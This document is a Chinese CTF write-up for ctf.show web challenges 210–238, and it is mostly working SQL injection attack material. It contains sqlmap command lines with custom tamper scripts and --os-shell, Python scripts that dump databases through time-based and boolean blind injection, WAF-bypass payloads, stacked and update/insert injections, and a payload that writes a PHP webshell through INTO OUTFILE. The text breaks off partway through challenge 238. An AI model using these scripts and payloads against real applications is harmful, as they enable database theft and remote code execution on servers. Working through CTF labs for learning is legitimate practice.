sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs -D ctfshow_web --tables
# 爆字段 ctfshow_flagxx
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavi --columns
# 爆数据
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavi --columns -C ctfshow_flagxx --dump
2
3
4
5
6
7
8
# web 211
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}
2
3
4
5
6
7
在上一题的基础上过滤了空格,sqlmap可以同时使用多个绕过脚本,用逗号,
隔开,例如--tamper space2comment.py,show-web210.py
在上一题的payload的tamper后使用注释绕过空格的脚本,以及web210的脚本。先使用space2comment.py
拿到注释绕过空格的payload,再使用show-web210.py
拿到反转加密的payload,拿到最终的payload
# 爆数据库 ctfshow_web
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs
# 爆表 ctfshow_flavia
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs -D ctfshow_web --tables
# 爆字段 ctfshow_flagxxa
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavia --columns
# 爆金币 <blank>
sqlmap -u "https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://6f592750-f133-43b3-8313-e4fac6493910.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,show-web210.py --dbs -D ctfshow_web --tables -T ctfshow_flavia --columns -C ctfshow_flagxxa --dump
2
3
4
5
6
7
8
# web 212
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
2
3
4
5
6
7
相比上题,又过滤了星号*
,注释绕过空格用不了了。在前面做题时,已知%0a,%0b,%0c,%0d
都可以绕过空格。拿大佬的脚本,整合了绕过空格和编码的功能,写到show-web212.py里待会使用
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
# 主要功能部分
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace(' ',chr(0x09))
retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
return retVal
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 爆数据库 ctfshow_web
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs
# 爆表 ctfshow_flavis
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs -D ctfshow_web --tables
# 爆字段 ctfshow_flagxsa
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web212.py --dbs -D ctfshow_web --tables -T ctfshow_flavis --columns
# 爆金币
sqlmap -u "https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://183689c5-7f8f-4276-8687-21e10d93fbcf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web212.py --dbs -D ctfshow_web --tables -T ctfshow_flavis --columns -C ctfshow_flagxsa --dump
2
3
4
5
6
7
8
# web 213
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
2
3
4
5
6
7
过滤了空格,星号...没改?
上一题payload打一下,可以用。但是没有flag的表,这题提示考察--os-shell
# 爆数据库 ctfshow_web
sqlmap -u "https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/index.php"--method=put --data="id=1" --headers="Content-Type: text/plain"--cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs
# 爆表 ctfshow_user
sqlmap -u "https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --dbs -D ctfshow_web --tables
2
3
4
使用--os-shell
一键getshell
sqlmap -u "https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5927751-41bb-4026-a62b-afd42738d0a0.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper show-web212.py --os-shell
默认会写入php文件上传的功能,具体木马由你自己生成
上传木马,一键日站
# web 214 时间盲注
看其他师傅wp做,首页bp抓包还是f12看网络请求都没有发现api接口,直接dirsearch扫描了
抓/api/
的报文还是什么都没有
在网络里看到select.js
,点进去可以看到
layui.use('element', function(){
var element = layui.element;
element.on('tab(nav)', function(data){
console.log(data);
});
});
$.ajax({
url:'api/',
dataType:"json",
type:'post',
data:{
ip:returnCitySN["cip"],
debug:0
}
});
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ajax通过post请求/api/接口,有ip,debug的参数
hackbar发包,ip随便填,没有限制,debug的会影响页面是否回显。发包后返回了原sql语句select id from ctfshow_info where ip = $_POST[ip]
,如果ip=sleep(3),页面会缓慢的加载3秒后才响应,说明sleep执行成功
import requests
import time
url = 'http://08d7032b-e019-444d-aeb7-2ba24dd99c9e.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名(当前数据库)
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆列
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆值
payload = {
'ip': f"1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(0.5),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
max = j
else:
min = j
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# web 215
给/api/
接口发请求ip=1&debug=1
,返回了sql语句select id from ctfshow_info where ip = '1';
,把ip的值放在了单引号里,直接闭合单引号,稍加修改上题的脚本接着打
import requests
import time
url = 'http://46aefd94-5b7e-4d82-ae3d-3210a5d35606.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名 ctfshow_flagxc
# payload = {
# 'ip': f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆列 flagaa
# payload = {
# 'ip': f"1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆值
payload = {
'ip': f"1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.5),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
max = j
else:
min = j
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# web 216
给/api/
接口发请求ip=1&debug=1
,返回了sql语句select id from ctfshow_info where ip = from_base64($_POST[ip]);
,题目想接收一个base64编码的内容,不给,直接填充闭合from_base64()
函数,稍加修改上题的脚本接着打
import requests
import time
url = 'http://ccc4c05d-4990-48cd-b95f-6d90b024dd7f.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名 ctfshow_flagxc
payload = {
'ip': f"'1111') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
'debug': 0
}
# 爆列 flagaa
# payload = {
# 'ip': f"'1111') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆值
# payload = {
# 'ip': f"'1111') or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
max = j
else:
min = j
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# web 217 benchmark
这题ban了sleep
函数,在SQL中还提供了benchmark
函数
提示
BENCHMARK 函数是 MySQL 中的一个用于性能测试的函数。它可以用来测量一个 SQL 语句或表达式的执行时间
这个函数可以用来测试一个语句执行的时间
测试5,000,000次,时间大概0.7秒
这个也挺好用,虽然没有sleep好用(痴呆,流口水.png)。太慢了(恼),顺便买个饭去
import requests
import time
url = 'http://0ca80f40-f50b-48d1-be46-a8badf78956d.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名 ctfshow_flagxccb
# payload = {
# 'ip': f"'1111') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},benchmark(5000000,md5('1')),'False')#",
# 'debug': 0
# }
# 爆列 flagaabc
# payload = {
# 'ip': f"'1111') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{j},benchmark(5000000,md5('1')),'False')#",
# 'debug': 0
# }
# 爆值
payload = {
'ip': f"'1111') or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(5000000,md5('1')),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
max = j
else:
min = j
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# web 218 笛卡尔积
参考: X1r0z Blog (opens new window)
大佬准备的sql笛卡尔积查询payload,在我windows本地跑查询时间0.059s,要在linux下吗?
1.2秒左右payload
(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F)
直接拿到题目试试,确实挺不错的,可能跑的有点小错误,多跑两次
import requests
import time
url = 'http://0c8d2c19-5b35-4e2e-ad51-a96181dd7b6b.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名 ctfshow_flagxc
# payload = {
# 'ip': f"'1111') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F),'False')#",
# 'debug': 0
# }
# 爆列 flagaac
# payload = {
# 'ip': f"'1111') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F),'False')#",
# 'debug': 0
# }
# 爆金币
payload = {
'ip': f"'1111') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E, information_schema.schemata F),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 1:
max = j
else:
min = j
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
很难,但还是出来了。跑这个不要挂魔法,容易延迟容易误报
# web 219 rlike
过滤了rlike
在【大佬博客】 (opens new window)里有用rlike
这题还是用上题脚本跑了
# web 220
参考:【Practice - CTFSHOW WEB入门 SQL注入篇】 (opens new window)
过滤了substr
,还可以使用right,left, mid
励志要自己写脚本🤐
import string
import time
import requests
url = "http://bbdb689b-386c-435c-ae43-e707b9f65a76.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxcac
# payload = "left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{})='{}'"
# 列名 flagaabcc
# payload = "left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{})='{}'"
# flag
payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'"
def valid_payload(p: str) -> bool:
data = {
"debug": 0,
"ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
f"information_schema.tables C),1) "
}
time_s = None
time_e = None
while True:
time_s = time.time()
try:
_ = requests.post(url, data=data)
except:
continue
time_e = time.time()
break
# 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
return time_e-time_s > 4
letters = "{}_-" + string.ascii_lowercase + string.digits
index = 1
result = ""
while True:
for letter in letters:
load = payload.format(index, result + letter)
if valid_payload(load):
result += letter
break
print(f"[*] result: {result}")
index += 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# web 221 limit注入
limit联合注入版本限制(5.0.0-5.6.6)
在select *from tableName limit 1,1 (order by) $_POST['sql'];
sql语句这里,如果有order by
,就不能联合注入,如果没有order by
就可以注入
考点:limit注入,procedure analyse()函数优化表结构
在查询接口/api/
传参
payload:?page=1&limit=1%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1)
解释:procedure analyse(extractvalue(rand(),concat(0x3a,database())),1): procedure analyse用于分析结果,extractvalue()
需要的是 XML 相关的数据,而传入的却是一个随机数 rand()
,可以爆出需要分析的数据库名称
# web 222 group by
分析大佬的脚本,二分法查询相关数据,利用sleep盲注,通过substr比较爆出数据,把if的结果sleep(0.05),1放在了group后面,重点应该在在时间盲注
import requests
import time
url='http://92ed72b8-5087-4bf6-9e3e-c3797af901ec.challenge.ctf.show/api/'
result=''
i=0
while True:
i+=1
head=1
tail=127
while head<tail:
mid=(head+tail)>>1
# ctfshow_flaga,ctfshow_user
# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(0.05),1)"
# id,flagaabc,info
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))>{mid},sleep(0.05),1)"
payload = f"if(ascii(substr((select flagaabc from ctfshow_flaga),{i},1))>{mid},sleep(0.05),1)"
data={
"u":payload
}
t1=time.time()
r=requests.get(url,params=data)
t2=time.time()
# print(t2-t1)#调试
print("[*]程序正在进行.....")
if t2-t1>0.9:#这边不稳定,要调试
head=mid+1
else:
tail=mid
if head!=1:
result+=chr(head)
print(result)
else:
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# web 223
点击去重按钮,可以在f12调试工具网络界面看到请求参数
给u随便传值,如果u是数字返回{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]}
,如果u是username,会返回{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"2","username":"user1","pass":"111"},{"id":"3","username":"user2","pass":"222"},{"id":"4","username":"userAUTO","pass":"passwordAUTO"}]}
通过返回结果不同,可以使用布尔盲注
"""
Author:Y4tacker
"""
import requests
def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num - 1):
res += "+true"
return res
url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
# 查数据库-ctfshow_flagas
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段-flagasabc
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
# 查flag
payload = "select flagasabc from ctfshow_flagas"
params = {
"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
}
r = requests.get(url, params=params)
# print(r.json()['data'])
if "userAUTO" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
res += chr(head)
else:
break
print(res)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# web 224
参考:Web224(finfo文件注入) (opens new window)
访问robots.txt可以看到密码重置页面
重置密码后登录,存在一个文件上传页面
题目检查上传文件里是否存在一些关键字text
,png
,images
等等,空文件和bin文件可以上传成功。奇怪的是看大佬的wp,为什么存在这样的洞,题目会执行bin文件里的sql语句?站长想通过文件上传执行shell命令?不能直接ssh?
上传1.bin
,写木马到服务器,不能太长,似乎只能一句。前面要有C64File "')
C64File "');select "<?php eval($_GET[1]);?>" into outfile '/var/www/html/3.php';--+
# web 225 堆叠提升
堆叠注入,查询表名
在f12调试界面可以看到接口返回的信息,两个表名,应该是键名tables_in_ctfshow_web
和字段对不上,所以没有直接显示在页面里。
查询flag表里的字段名
这道题类似强网杯 2019 - 随便注
。下面有多种解题思路
强网杯 2019 - 随便注 (opens new window)
# 思路一
直接读取表里的内容,这里flag在表里的第一行,直接读出来了,如果不是第一行,可以多执行几次handler a read next;
handler `ctfshow_flagasa` open as `a`;
handler `a` read next;
2
# 思路二
执行预处理的sql语句,通过拼接绕过select的限制,变量名不要叫sql
,sql是关键字
ctfshow';show tables;prepare a from concat('s','elect',' *from ctfshow_flagasa');execute a;#
提示
通过拼接执行select version();
,发现这是{version(): "10.3.18-MariaDB"}
,是mysql的一个分支,大多数语法都是兼容的,但是在这里的执行动态拼接语句是一个不兼容问题。
MariaDB
可以执行concat
函数拼接的sql语句,Mysql
更严格,不允许
# web 226 16进制+预处理
prepare from
还可以直接处理十六进制字符串,太强了。测试发现,mysql
是不兼容这个语法,局限于题目的这个MariaDB数据库了。
# show tables
prepare a from 0x73686F77207461626C65733B;execute a;#
# select *from ctfsh_ow_flagas
prepare a from 0x73656C656374202A66726F6D2063746673685F6F775F666C61676173;execute a;#
2
3
4
# web 227 数据存储过程
新增过滤db``,
,上一题的思路还能用
# show tables 只有一个ctfshow_user表
prepare a from 0x73686F77207461626C65733B;execute a;#
# select *from ctfshow_user 查到的信息都是题目已经给的
prepare a from 0x73656C656374202A66726F6D2063746673686F775F75736572;execute a;#
2
3
4
换个思路,可能flag存进去又删库了。找找记录?
# 查找在存储过程是否定义了flag
SELECT ROUTINE_DEFINITION FROM information_schema.ROUTINES
2
转成16进制,执行预处理sql语句,可以看到定义过程的flag。太强了,又有了奇怪的想法
user1';prepare a from 0x53454C45435420524F5554494E455F444546494E4954494F4E2046524F4D20696E666F726D6174696F6E5F736368656D612E524F5554494E4553;execute a;#
# web 228 -- web 230 思路相同
这题把黑名单字符串放进了数据库的一个表里了,不给看,好思路。如果可以把这个表删了是不是就无敌了,不过现在使用16进制执行命令也没什么限制,哈哈
ctf';prepare a from 0x53454C454354202A2046524F4D20696E666F726D6174696F6E5F736368656D612E524F5554494E4553;execute a;#
# web 231 update注入
在网络界面js里找到传参的方式
先测试修改ctfshow用户的密码
接口返回信息,修改成功,可以正常执行
在password字段上注入,把想查的数据通过子查询和update修改到当前显示的表里。因为把后面where判断注释了,所以会修改整个表
在发愁记不住查库表字段语句?hackerbar准备的有联合查询语句,删掉union就可以用了
# 查库
username=ctfshow&password=1',username=(select group_concat(schema_name) from information_schema.schemata);#
# 查表
username=information_schema,test,mysql,performance_schema,ctfshow_web&password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#
# 查字段flag在flaga表的flagas字段里
username=banlist,ctfshow_user,flaga
&password=1',username=(select group_concat(column_name) from information_schema.columns where table_schema=database());#
# 查flag
username=id,char,id,username,pass,id,flagas,info&password=1',username=(select group_concat(flagas) from flaga);#
2
3
4
5
6
7
8
9
# web 232
修改语句给password添加了一个md5函数处理,直接给他闭合,后面加上自己的上题的语句。测试查询版本信息,可以正常执行
下面就和上题一样做就可以
# 测试
username=10.3.18-MariaDB&password=1'),username=(select version());#
# 查库
username=10.3.18-MariaDB&password=1'),username=(select group_concat(schema_name) from information_schema.schemata);#
# 查表
username=information_schema,test,mysql,performance_schema,ctfshow_web&password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#
# 查字段 flag在flagaa表的flagass字段
username=banlist,ctfshow_user,flaga
&password=1'),username=(select group_concat(column_name) from information_schema.columns where table_schema=database());#
# 查flag
username=id,char,id,username,pass,id,flagass,info&password=1'),username=(select group_concat(flagass) from flagaa);#
2
3
4
5
6
7
8
9
10
11
# web 233 布尔盲注
这题目怎么又回到之前的版本了。直接狠狠地sql注入(注不进去,题目存在过滤)
前面的payload注入没有变化,可能是对password
做了过滤,试试username
处能不能时间盲注,页面可以执行username=ctfshow' and if(1=1,sleep(3),0)#&password=1
。看大佬脚本根据update是否修改成功的回显,使用了布尔盲注
import requests
url='http://398f1aa4-200c-4594-af45-5d7b0a59f091.challenge.ctf.show/api/'
flag=''
i=0
j = 0
while True:
head=1
tail=127
i+=1
while head<tail:
j+=1
mid=(head+tail)>>1
# 爆表 flag233333
# payload=f"ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
# 爆字段 id,flagass233,info
# payload=f"ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{i},1))>{mid},1,0)#"
# 爆flag
payload=f"ctfshow' and if(ascii(substr((select group_concat(id,flagass233,info) from flag233333),{i},1))>{mid},1,0)#"
data={
"username":payload,
"password":j
}
r=requests.post(url,data=data)
if "\\u66f4\\u65b0\\u6210\\u529f" in r.text:#更新成功
head=mid+1
else:
tail=mid
if head!=1:
print(head)
flag+=chr(head)
print(flag)
else:
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# web 234 反斜杠转义
相比于上题,这题'
单引号被过滤了,看了师傅反斜杠转义 (opens new window)。现在不能主动用单引号闭合了,如果使用反斜杠转义原有的单引号,有更好玩的姿势
# 原始语句
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
# 反斜杠转义后
$sql = "update ctfshow_user set pass = '\' where username = '{$username}';";
2
3
4
反斜杠转义后,出现pass='\' where username ='{$username}';
,变量pass=where username =
,原有的where语句被pass变量吞掉了,变量username出来了
这个sql语句可以看成
$sql = update ctfshow_user set pass = 'where username = '{$username}';
现在可以看到{$username}前面的单引号跟pass的单引号闭合了,后面还多出一个单引号,需要注释掉,不然语句就是错的。 子查询放括号里
username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=\
用这个思路,接着爆库表数据
# web 235
题目过滤了or
,'
,子查询里的information用不了了,在mysql中其他类似作用库如innodb_table_stats
,作用和information_schema.tables
类似。可以查出库名,表名
username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#&password=2\
通过子查询套出表中字段
select group_concat(c) from (select 1,2 as c,3 union select * from flag23a1)d
这句子查询sql中,最后多出一个字母d,因为sql要求子查询派生表也要有表名,最后那个就是表名,可以随便起
# web 236
题目提示过滤了flag
,但是用上一题做法还是能做出了(没有过滤?)
# web 237 insert
在网络接口看到insert.php
在insert.php页面源码里可以看到接口
首页的sql语句
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
☝🤓唉,有钱了买两杯豆浆,喝一杯倒一杯。两个参数,想怎么玩怎么玩,类似刚才的update
。同样注意单引号的闭合,value()
的闭合,否则语法错误。也可以用反斜杠转义
# 爆表 flag
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1
# 爆字段 flagass23s3
username=1',(select group_concat(column_name) from information_schema.columns where table_schema=database()))#&password=1
# 爆flag
username=1',(select group_concat(flagass23s3) from flag ))#&password=1
2
3
4
5
6
# web 238
过滤了空格,通过测试,%09
,%0a
,%0b
,%0c
,%0d
这些都不能用,可能只有get传参能用?绕过效果都不太好/**/
注释也不能用。反引号括号还挺好用
# 爆表 banlist,ctfshow_user,flagb
username=111',(select(group_concat(table_name))from(information_schema.tables)where`table_schema`=database()))#&password=2
# 爆字段 id,char,id,username,pass,id,flag,info
